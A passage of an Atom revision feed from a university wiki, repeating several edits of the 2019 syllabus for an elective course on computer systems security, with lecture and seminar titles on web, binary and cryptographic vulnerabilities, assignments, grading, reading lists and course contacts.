* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=36289</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=36289"/>
		<updated>2019-10-31T11:28:11Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* План курса */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (11.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly. &lt;br /&gt;
# (25.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (02.12) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (16.12) Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (02.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=36137</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=36137"/>
		<updated>2019-10-28T09:49:00Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly. &lt;br /&gt;
# (18.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) Семинара нет.&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=36136</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=36136"/>
		<updated>2019-10-28T09:48:24Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
# (14.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly. &lt;br /&gt;
# (18.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) Семинара нет.&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=36135</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=36135"/>
		<updated>2019-10-28T09:45:55Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
# (14.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly. &lt;br /&gt;
# (18.11) Механизмы безопасности приложений в операционных системах.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (11.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) Семинара нет.&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
